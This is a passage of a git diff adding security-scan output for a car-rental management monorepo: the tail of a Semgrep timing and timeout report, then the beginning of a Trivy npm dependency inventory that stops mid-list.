base/prisma/migrations/20260509000000_add_vehicle_calendar_blocks/migration.sql","packages/database/prisma/migrations/20260511000000_review_token/migration.sql","packages/database/prisma/migrations/20260511000001_reservation_vehicle_category/migration.sql","packages/database/prisma/migrations/20260518000000_add_employee_preferred_language/migration.sql","packages/database/prisma/migrations/20260520000000_add_customer_license_image/migration.sql","packages/database/prisma/migrations/20260524000000_add_vehicle_pickup_dropoff/migration.sql","packages/database/prisma/migrations/20260524000001_backfill_vehicle_location_arrays/migration.sql","packages/database/prisma/migrations/20260525000000_add_pricing_config/migration.sql","packages/database/prisma/migrations/20260525130000_b2b_subscription_lifecycle/migration.sql","packages/database/prisma/migrations/20260525140000_pricing_promotions/migration.sql","packages/database/prisma/migrations/20260525153000_plan_features/migration.sql","packages/database/prisma/migrations/20260525170000_b2b_billing_foundation/migration.sql","packages/database/prisma/migrations/20260525190000_notification_localization/migration.sql","packages/database/prisma/migrations/20260525193000_booking_confirmed_pickup_details/migration.sql","packages/database/prisma/migrations/20260525200000_reservation_photos/migration.sql","packages/database/prisma/migrations/20260525210000_expand_vehicle_status/migration.sql","packages/database/prisma/migrations/20260525220000_review_management/migration.sql","packages/database/prisma/migrations/20260602000000_vehicle_pricing_management/migration.sql","packages/database/prisma/migrations/20260603000000_menu_management/migration.sql","packages/database/prisma/migrations/20260603010000_seed_default_sidebar_menu/migration.sql","packages/database/prisma/migrations/migration_lock.toml","packages/database/prisma/schema.prisma","packages/database/prisma/seed.ts","packages/database/scripts/db-deploy.cjs","packages/database/src/client.d.ts","packages/database/src/client.js","packages/database/src/index.d.ts","packages/database/src/index.js","packages/database/src/index.ts","packages/database/src/runtime-config.js","packages/database/src/runtime-config.ts","packages/database/tsconfig.json","packages/types/package.json","packages/types/src/api.ts","packages/types/src/damage.ts","packages/types/src/fuel.ts","packages/types/src/index.ts","packages/types/src/marketplace-homepage.ts","packages/types/tsconfig.json","results/.scan_metadata.json","results/individual-repos/scan/checkov.json","results/individual-repos/scan/hadolint.json","results/individual-repos/scan/trivy.json","results/individual-repos/scan/trufflehog.json","results/summaries/COMPLIANCE_SUMMARY.md","results/summaries/PCI_DSS_COMPLIANCE.md","results/summaries/SUMMARY.md","results/summaries/attack-navigator.json","results/summaries/dashboard.html","scripts/backup-restore-guide.md","scripts/cronjobs.md","scripts/docker-cleanup.sh","scripts/docker-prod-backup.sh","scripts/docker-prod-common.sh","scripts/docker-prod-deploy.sh","scripts/docker-prod-restore.sh","scripts/docker-prod-run-pulled-image.sh","scripts/docker-prod-up-admin.sh","scripts/docker-prod-up-all.sh","scripts/docker-prod-up-api.sh","scripts/docker-prod-up-dashboard.sh","scripts/docker-prod-up-frontends.sh","scripts/docker-prod-up-marketplace.sh","scripts/docker-prod-up-pgmanage.sh","scripts/docker-prod-up-portainer.sh","scripts/docker-prod-up-postgres.sh","scripts/docker-prod-up-redis.sh","scripts/docker-prod-up-registry.sh","scripts/docker-prod-up-traefik.sh","scripts/docker-registry-local-up.sh","scripts/run-with-env-file.cjs","scripts/setup-clerk-keys.sh","security-reports/semgrep.json","security-reports/trivy.json","traefik.yaml","tsconfig.base.json","turbo.json"]},"time":{"rules":[],"rules_parse_time":0.30164408683776855,"profiling_times":{"config_time":0.9542222023010254,"core_time":14.531525611877441,"ignores_time":0.0008528232574462891,"total_time":15.492584943771362},"parsing_time":{"total_time":0.0,"per_file_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_files":[]},"scanning_time":{"total_time":52.028945446014404,"per_file_time":{"mean":0.04045796690980898,"std_dev":0.026577249628501647},"very_slow_stats":{"time_ratio":0.10603678454864524,"count_ratio":0.0015552099533437014},"very_slow_files":[{"fpath":"apps/admin/src/app/dashboard/companies/[id]/page.tsx","ftime":1.5096909999847412},{"fpath":"security-reports/trivy.json","ftime":4.007291078567505}]},"matching_time":{"total_time":0.0,"per_file_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_files":[]},"tainting_time":{"total_time":0.0,"per_def_and_rule_time":{"mean":0.0,"std_dev":0.0},"very_slow_stats":{"time_ratio":0.0,"count_ratio":0.0},"very_slow_rules_on_defs":[]},"fixpoint_timeouts":[{"error_type":"Fixpoint timeout","severity":"warn","message":"Fixpoint timeout while performing taint analysis at apps/admin/src/app/dashboard/billing/page.tsx:232:24 [rules: 4, first: javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration]","location":{"path":"apps/admin/src/app/dashboard/billing/page.tsx","start":{"line":232,"col":25,"offset":5397},"end":{"line":232,"col":41,"offset":5413}}},{"error_type":"Fixpoint timeout","severity":"warn","message":"Fixpoint timeout while performing taint analysis at apps/admin/src/app/dashboard/companies/[id]/page.tsx:309:24 [rules: 5, first: javascript.express.security.injection.raw-html-format.raw-html-format]","location":{"path":"apps/admin/src/app/dashboard/companies/[id]/page.tsx","start":{"line":309,"col":25,"offset":9977},"end":{"line":309,"col":47,"offset":9999}}},{"error_type":"Fixpoint timeout","severity":"warn","message":"Fixpoint timeout while performing taint analysis at apps/admin/src/app/dashboard/menu-management/page.tsx:163:24 [rules: 1, first: javascript.express.security.injection.raw-html-format.raw-html-format]","location":{"path":"apps/admin/src/app/dashboard/menu-management/page.tsx","start":{"line":163,"col":25,"offset":4362},"end":{"line":163,"col":43,"offset":4380}}},{"error_type":"Fixpoint timeout","severity":"warn","message":"Fixpoint timeout while performing taint analysis at apps/dashboard/src/app/(dashboard)/reservations/[id]/page.tsx:259:24 [rules: 3, first: javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration]","location":{"path":"apps/dashboard/src/app/(dashboard)/reservations/[id]/page.tsx","start":{"line":259,"col":25,"offset":11353},"end":{"line":259,"col":46,"offset":11374}}},{"error_type":"Fixpoint timeout","severity":"warn","message":"Fixpoint timeout while performing taint analysis at apps/dashboard/src/app/(dashboard)/reservations/new/page.tsx:41:24 [rules: 1, first: javascript.express.security.x-frame-options-misconfiguration.x-frame-options-misconfiguration]","location":{"path":"apps/dashboard/src/app/(dashboard)/reservations/new/page.tsx","start":{"line":41,"col":25,"offset":1170},"end":{"line":41,"col":43,"offset":1188}}},{"error_type":"Fixpoint timeout","severity":"warn","message":"Fixpoint timeout while performing taint analysis at apps/dashboard/src/components/VehicleCalendar.tsx:46:24 [rules: 1, first: javascript.express.security.injection.raw-html-format.raw-html-format]","location":{"path":"apps/dashboard/src/components/VehicleCalendar.tsx","start":{"line":46,"col":25,"offset":1467},"end":{"line":46,"col":40,"offset":1482}}},{"error_type":"Fixpoint timeout","severity":"warn","message":"Fixpoint timeout while performing taint analysis at apps/dashboard/src/components/VehiclePricingManager.tsx:172:24 [rules: 4, first: javascript.express.security.injection.raw-html-format.raw-html-format]","location":{"path":"apps/dashboard/src/components/VehiclePricingManager.tsx","start":{"line":172,"col":25,"offset":5234},"end":{"line":172,"col":46,"offset":5255}}}],"prefiltering":{"project_level_time":0.0,"file_level_time":0.0,"rules_with_project_prefilters_ratio":0.0,"rules_with_file_prefilters_ratio":0.9869868764084663,"rules_selected_ratio":0.039657991250938975,"rules_matched_ratio":0.039657991250938975},"targets":[],"total_bytes":0,"max_memory_bytes":2159705728},"engine_requested":"OSS","skipped_rules":[],"profiling_results":[]}
\ No newline at end of file
diff --git a/security-reports/trivy.json b/security-reports/trivy.json
new file mode 100644
index 0000000..69242a4
--- /dev/null
+++ b/security-reports/trivy.json
@@ -0,0 +1,17087 @@
+{
+ "SchemaVersion": 2,
+ "Trivy": {
+ "Version": "0.71.0"
+ },
+ "ReportID": "019ea59c-3133-753b-af16-e80cb5608d14",
+ "CreatedAt": "2026-06-08T05:02:17.395344877Z",
+ "ArtifactID": "sha256:691936359de97fcfb14e381be391e32ba3310d33a7f1581e1bdb2f56ba97c527",
+ "ArtifactName": "/src",
+ "ArtifactType": "repository",
+ "Metadata": {
+ "RepoURL": "https://gitlab.rentaldrivego.ma/rental_car/car_management_system.git",
+ "Branch": "develop",
+ "Commit": "560da1cadffa0898b31c16c202552f4a25fc2eb8",
+ "CommitMsg": "fix prod domain mismatch",
+ "Author": "root \u003cmelabidi@alrahmaisgl.org\u003e",
+ "Committer": "root \u003cmelabidi@alrahmaisgl.org\u003e"
+ },
+ "Results": [
+ {
+ "Target": "package-lock.json",
+ "Class": "lang-pkgs",
+ "Type": "npm",
+ "Packages": [
+ {
+ "ID": "@rentaldrivego/admin@1.0.0",
+ "Name": "@rentaldrivego/admin",
+ "Identifier": {
+ "PURL": "pkg:npm/%40rentaldrivego/admin@1.0.0",
+ "UID": "d35298d4b64ba129"
+ },
+ "Version": "1.0.0",
+ "Relationship": "direct",
+ "DependsOn": [
+ "@rentaldrivego/types@1.0.0",
+ "autoprefixer@10.5.0",
+ "dayjs@1.11.20",
+ "lucide-react@0.376.0",
+ "next@14.2.3",
+ "postcss@8.5.12",
+ "react-dom@18.3.1",
+ "react@18.3.1",
+ "recharts@2.15.4",
+ "tailwindcss@3.4.19",
+ "zod@3.25.76"
+ ],
+ "Locations": [
+ {
+ "StartLine": 26,
+ "EndLine": 48
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@rentaldrivego/api@1.0.0",
+ "Name": "@rentaldrivego/api",
+ "Identifier": {
+ "PURL": "pkg:npm/%40rentaldrivego/api@1.0.0",
+ "UID": "c696fe2674dfb6f4"
+ },
+ "Version": "1.0.0",
+ "Relationship": "direct",
+ "DependsOn": [
+ "@react-pdf/renderer@3.4.5",
+ "@rentaldrivego/database@1.0.0",
+ "@rentaldrivego/types@1.0.0",
+ "bcryptjs@2.4.3",
+ "cors@2.8.6",
+ "dayjs@1.11.20",
+ "express-rate-limit@8.5.1",
+ "express@4.22.1",
+ "firebase-admin@12.7.0",
+ "helmet@7.2.0",
+ "ioredis@5.10.1",
+ "jsonwebtoken@9.0.3",
+ "morgan@1.10.1",
+ "multer@1.4.5-lts.2",
+ "node-cron@3.0.3",
+ "nodemailer@6.10.1",
+ "otplib@12.0.1",
+ "qrcode@1.5.4",
+ "react-dom@18.3.1",
+ "react@18.3.1",
+ "resend@3.5.0",
+ "socket.io@4.8.3",
+ "swagger-ui-express@5.0.1",
+ "twilio@5.13.1",
+ "zod-to-json-schema@3.25.2",
+ "zod@3.25.76"
+ ],
+ "Locations": [
+ {
+ "StartLine": 49,
+ "EndLine": 100
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@rentaldrivego/dashboard@1.0.0",
+ "Name": "@rentaldrivego/dashboard",
+ "Identifier": {
+ "PURL": "pkg:npm/%40rentaldrivego/dashboard@1.0.0",
+ "UID": "5bde7990c35cfae1"
+ },
+ "Version": "1.0.0",
+ "Relationship": "direct",
+ "DependsOn": [
+ "@rentaldrivego/types@1.0.0",
+ "autoprefixer@10.5.0",
+ "dayjs@1.11.20",
+ "lucide-react@0.376.0",
+ "next@14.2.3",
+ "postcss@8.5.12",
+ "react-dom@18.3.1",
+ "react@18.3.1",
+ "recharts@2.15.4",
+ "sharp@0.34.5",
+ "socket.io-client@4.8.3",
+ "tailwindcss@3.4.19",
+ "zod@3.25.76"
+ ],
+ "Locations": [
+ {
+ "StartLine": 101,
+ "EndLine": 125
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@rentaldrivego/database@1.0.0",
+ "Name": "@rentaldrivego/database",
+ "Identifier": {
+ "PURL": "pkg:npm/%40rentaldrivego/database@1.0.0",
+ "UID": "c2a5cc483068b2f5"
+ },
+ "Version": "1.0.0",
+ "Relationship": "direct",
+ "DependsOn": [
+ "@prisma/client@5.22.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 10745,
+ "EndLine": 10759
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@rentaldrivego/marketplace@1.0.0",
+ "Name": "@rentaldrivego/marketplace",
+ "Identifier": {
+ "PURL": "pkg:npm/%40rentaldrivego/marketplace@1.0.0",
+ "UID": "c79bc63b5513a48a"
+ },
+ "Version": "1.0.0",
+ "Relationship": "direct",
+ "DependsOn": [
+ "@rentaldrivego/types@1.0.0",
+ "autoprefixer@10.5.0",
+ "dayjs@1.11.20",
+ "lucide-react@0.376.0",
+ "next@14.2.3",
+ "postcss@8.5.12",
+ "react-dom@18.3.1",
+ "react@18.3.1",
+ "tailwindcss@3.4.19",
+ "zod@3.25.76"
+ ],
+ "Locations": [
+ {
+ "StartLine": 126,
+ "EndLine": 147
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@rentaldrivego/types@1.0.0",
+ "Name": "@rentaldrivego/types",
+ "Identifier": {
+ "PURL": "pkg:npm/%40rentaldrivego/types@1.0.0",
+ "UID": "dc1e782b69df0db2"
+ },
+ "Version": "1.0.0",
+ "Relationship": "direct",
+ "Locations": [
+ {
+ "StartLine": 10760,
+ "EndLine": 10766
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@types/node@20.19.39",
+ "Name": "@types/node",
+ "Identifier": {
+ "PURL": "pkg:npm/%40types/node@20.19.39",
+ "UID": "a32b6ce01d93549"
+ },
+ "Version": "20.19.39",
+ "Licenses": [
+ "MIT"
+ ],
+ "Relationship": "direct",
+ "DependsOn": [
+ "undici-types@6.21.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 3001,
+ "EndLine": 3009
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@alloc/quick-lru@5.2.0",
+ "Name": "@alloc/quick-lru",
+ "Identifier": {
+ "PURL": "pkg:npm/%40alloc/quick-lru@5.2.0",
+ "UID": "483fe458bb6d4dc0"
+ },
+ "Version": "5.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 171,
+ "EndLine": 182
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@babel/runtime@7.29.2",
+ "Name": "@babel/runtime",
+ "Identifier": {
+ "PURL": "pkg:npm/%40babel/runtime@7.29.2",
+ "UID": "34f09bfab37449cb"
+ },
+ "Version": "7.29.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 183,
+ "EndLine": 191
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@emnapi/runtime@1.10.0",
+ "Name": "@emnapi/runtime",
+ "Identifier": {
+ "PURL": "pkg:npm/%40emnapi/runtime@1.10.0",
+ "UID": "eb6ac96bdbad0612"
+ },
+ "Version": "1.10.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "tslib@2.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 216,
+ "EndLine": 225
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@fastify/busboy@3.2.0",
+ "Name": "@fastify/busboy",
+ "Identifier": {
+ "PURL": "pkg:npm/%40fastify/busboy@3.2.0",
+ "UID": "82ee8887ea95cd8a"
+ },
+ "Version": "3.2.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 680,
+ "EndLine": 685
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/app-check-interop-types@0.3.2",
+ "Name": "@firebase/app-check-interop-types",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/app-check-interop-types@0.3.2",
+ "UID": "bc44e10305966d7b"
+ },
+ "Version": "0.3.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 686,
+ "EndLine": 691
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/app-types@0.9.2",
+ "Name": "@firebase/app-types",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/app-types@0.9.2",
+ "UID": "5e2810a135124154"
+ },
+ "Version": "0.9.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 692,
+ "EndLine": 697
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/auth-interop-types@0.2.3",
+ "Name": "@firebase/auth-interop-types",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/auth-interop-types@0.2.3",
+ "UID": "830c369522baa256"
+ },
+ "Version": "0.2.3",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 698,
+ "EndLine": 703
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/component@0.6.9",
+ "Name": "@firebase/component",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/component@0.6.9",
+ "UID": "1f726b75b1ed4e31"
+ },
+ "Version": "0.6.9",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@firebase/util@1.10.0",
+ "tslib@2.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 704,
+ "EndLine": 713
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/database@1.0.8",
+ "Name": "@firebase/database",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/database@1.0.8",
+ "UID": "77dc64733a61454f"
+ },
+ "Version": "1.0.8",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@firebase/app-check-interop-types@0.3.2",
+ "@firebase/auth-interop-types@0.2.3",
+ "@firebase/component@0.6.9",
+ "@firebase/logger@0.4.2",
+ "@firebase/util@1.10.0",
+ "faye-websocket@0.11.4",
+ "tslib@2.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 714,
+ "EndLine": 728
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/database-compat@1.0.8",
+ "Name": "@firebase/database-compat",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/database-compat@1.0.8",
+ "UID": "1c352acb296f42ac"
+ },
+ "Version": "1.0.8",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@firebase/component@0.6.9",
+ "@firebase/database-types@1.0.5",
+ "@firebase/database@1.0.8",
+ "@firebase/logger@0.4.2",
+ "@firebase/util@1.10.0",
+ "tslib@2.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 729,
+ "EndLine": 742
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/database-types@1.0.5",
+ "Name": "@firebase/database-types",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/database-types@1.0.5",
+ "UID": "ac7a34693418ee16"
+ },
+ "Version": "1.0.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@firebase/app-types@0.9.2",
+ "@firebase/util@1.10.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 743,
+ "EndLine": 752
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/logger@0.4.2",
+ "Name": "@firebase/logger",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/logger@0.4.2",
+ "UID": "1a2f315c7724c731"
+ },
+ "Version": "0.4.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "tslib@2.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 753,
+ "EndLine": 761
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@firebase/util@1.10.0",
+ "Name": "@firebase/util",
+ "Identifier": {
+ "PURL": "pkg:npm/%40firebase/util@1.10.0",
+ "UID": "fd8614cc4ff27178"
+ },
+ "Version": "1.10.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "tslib@2.4.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 762,
+ "EndLine": 770
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@google-cloud/firestore@7.11.6",
+ "Name": "@google-cloud/firestore",
+ "Identifier": {
+ "PURL": "pkg:npm/%40google-cloud/firestore@7.11.6",
+ "UID": "1b8c4bc27084faf0"
+ },
+ "Version": "7.11.6",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@opentelemetry/api@1.9.1",
+ "fast-deep-equal@3.1.3",
+ "functional-red-black-tree@1.0.1",
+ "google-gax@4.6.1",
+ "protobufjs@7.5.6"
+ ],
+ "Locations": [
+ {
+ "StartLine": 771,
+ "EndLine": 787
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@google-cloud/paginator@5.0.2",
+ "Name": "@google-cloud/paginator",
+ "Identifier": {
+ "PURL": "pkg:npm/%40google-cloud/paginator@5.0.2",
+ "UID": "ac6e2e012eeab4ec"
+ },
+ "Version": "5.0.2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "arrify@2.0.1",
+ "extend@3.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 788,
+ "EndLine": 801
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@google-cloud/projectify@4.0.0",
+ "Name": "@google-cloud/projectify",
+ "Identifier": {
+ "PURL": "pkg:npm/%40google-cloud/projectify@4.0.0",
+ "UID": "9dbf779c7574e627"
+ },
+ "Version": "4.0.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 802,
+ "EndLine": 811
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@google-cloud/promisify@4.0.0",
+ "Name": "@google-cloud/promisify",
+ "Identifier": {
+ "PURL": "pkg:npm/%40google-cloud/promisify@4.0.0",
+ "UID": "d54a22e542a2e48e"
+ },
+ "Version": "4.0.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 812,
+ "EndLine": 821
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@google-cloud/storage@7.19.0",
+ "Name": "@google-cloud/storage",
+ "Identifier": {
+ "PURL": "pkg:npm/%40google-cloud/storage@7.19.0",
+ "UID": "c3066a9916e4a56e"
+ },
+ "Version": "7.19.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@google-cloud/paginator@5.0.2",
+ "@google-cloud/projectify@4.0.0",
+ "@google-cloud/promisify@4.0.0",
+ "abort-controller@3.0.0",
+ "async-retry@1.3.3",
+ "duplexify@4.1.3",
+ "fast-xml-parser@5.7.2",
+ "gaxios@6.7.1",
+ "google-auth-library@9.15.1",
+ "html-entities@2.6.0",
+ "mime@3.0.0",
+ "p-limit@3.1.0",
+ "retry-request@7.0.2",
+ "teeny-request@9.0.0",
+ "uuid@8.3.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 822,
+ "EndLine": 848
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@grpc/grpc-js@1.14.3",
+ "Name": "@grpc/grpc-js",
+ "Identifier": {
+ "PURL": "pkg:npm/%40grpc/grpc-js@1.14.3",
+ "UID": "2d5680a72979631f"
+ },
+ "Version": "1.14.3",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@grpc/proto-loader@0.8.0",
+ "@js-sdsl/ordered-map@4.4.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 860,
+ "EndLine": 873
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@grpc/proto-loader@0.7.15",
+ "Name": "@grpc/proto-loader",
+ "Identifier": {
+ "PURL": "pkg:npm/%40grpc/proto-loader@0.7.15",
+ "UID": "f43d0c3ac9c5ee79"
+ },
+ "Version": "0.7.15",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "lodash.camelcase@4.3.0",
+ "long@5.3.2",
+ "protobufjs@7.5.6",
+ "yargs@17.7.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 893,
+ "EndLine": 911
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@grpc/proto-loader@0.8.0",
+ "Name": "@grpc/proto-loader",
+ "Identifier": {
+ "PURL": "pkg:npm/%40grpc/proto-loader@0.8.0",
+ "UID": "d801fe7d5a77a449"
+ },
+ "Version": "0.8.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "lodash.camelcase@4.3.0",
+ "long@5.3.2",
+ "protobufjs@7.5.6",
+ "yargs@17.7.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 874,
+ "EndLine": 892
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/colour@1.1.0",
+ "Name": "@img/colour",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/colour@1.1.0",
+ "UID": "ad6960a7c6467161"
+ },
+ "Version": "1.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 950,
+ "EndLine": 958
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-darwin-arm64@0.34.5",
+ "Name": "@img/sharp-darwin-arm64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-darwin-arm64@0.34.5",
+ "UID": "73594c8737a59789"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-darwin-arm64@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 959,
+ "EndLine": 980
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-darwin-x64@0.34.5",
+ "Name": "@img/sharp-darwin-x64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-darwin-x64@0.34.5",
+ "UID": "15b9ee4816030845"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-darwin-x64@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 981,
+ "EndLine": 1002
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-darwin-arm64@1.2.4",
+ "Name": "@img/sharp-libvips-darwin-arm64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-darwin-arm64@1.2.4",
+ "UID": "9d5fe0469b216c04"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1003,
+ "EndLine": 1018
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-darwin-x64@1.2.4",
+ "Name": "@img/sharp-libvips-darwin-x64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-darwin-x64@1.2.4",
+ "UID": "dec2e88b24968f97"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1019,
+ "EndLine": 1034
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-linux-arm@1.2.4",
+ "Name": "@img/sharp-libvips-linux-arm",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-linux-arm@1.2.4",
+ "UID": "a1651783409be564"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1035,
+ "EndLine": 1050
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-linux-arm64@1.2.4",
+ "Name": "@img/sharp-libvips-linux-arm64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-linux-arm64@1.2.4",
+ "UID": "365e5d3e1dd49f67"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1051,
+ "EndLine": 1066
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-linux-ppc64@1.2.4",
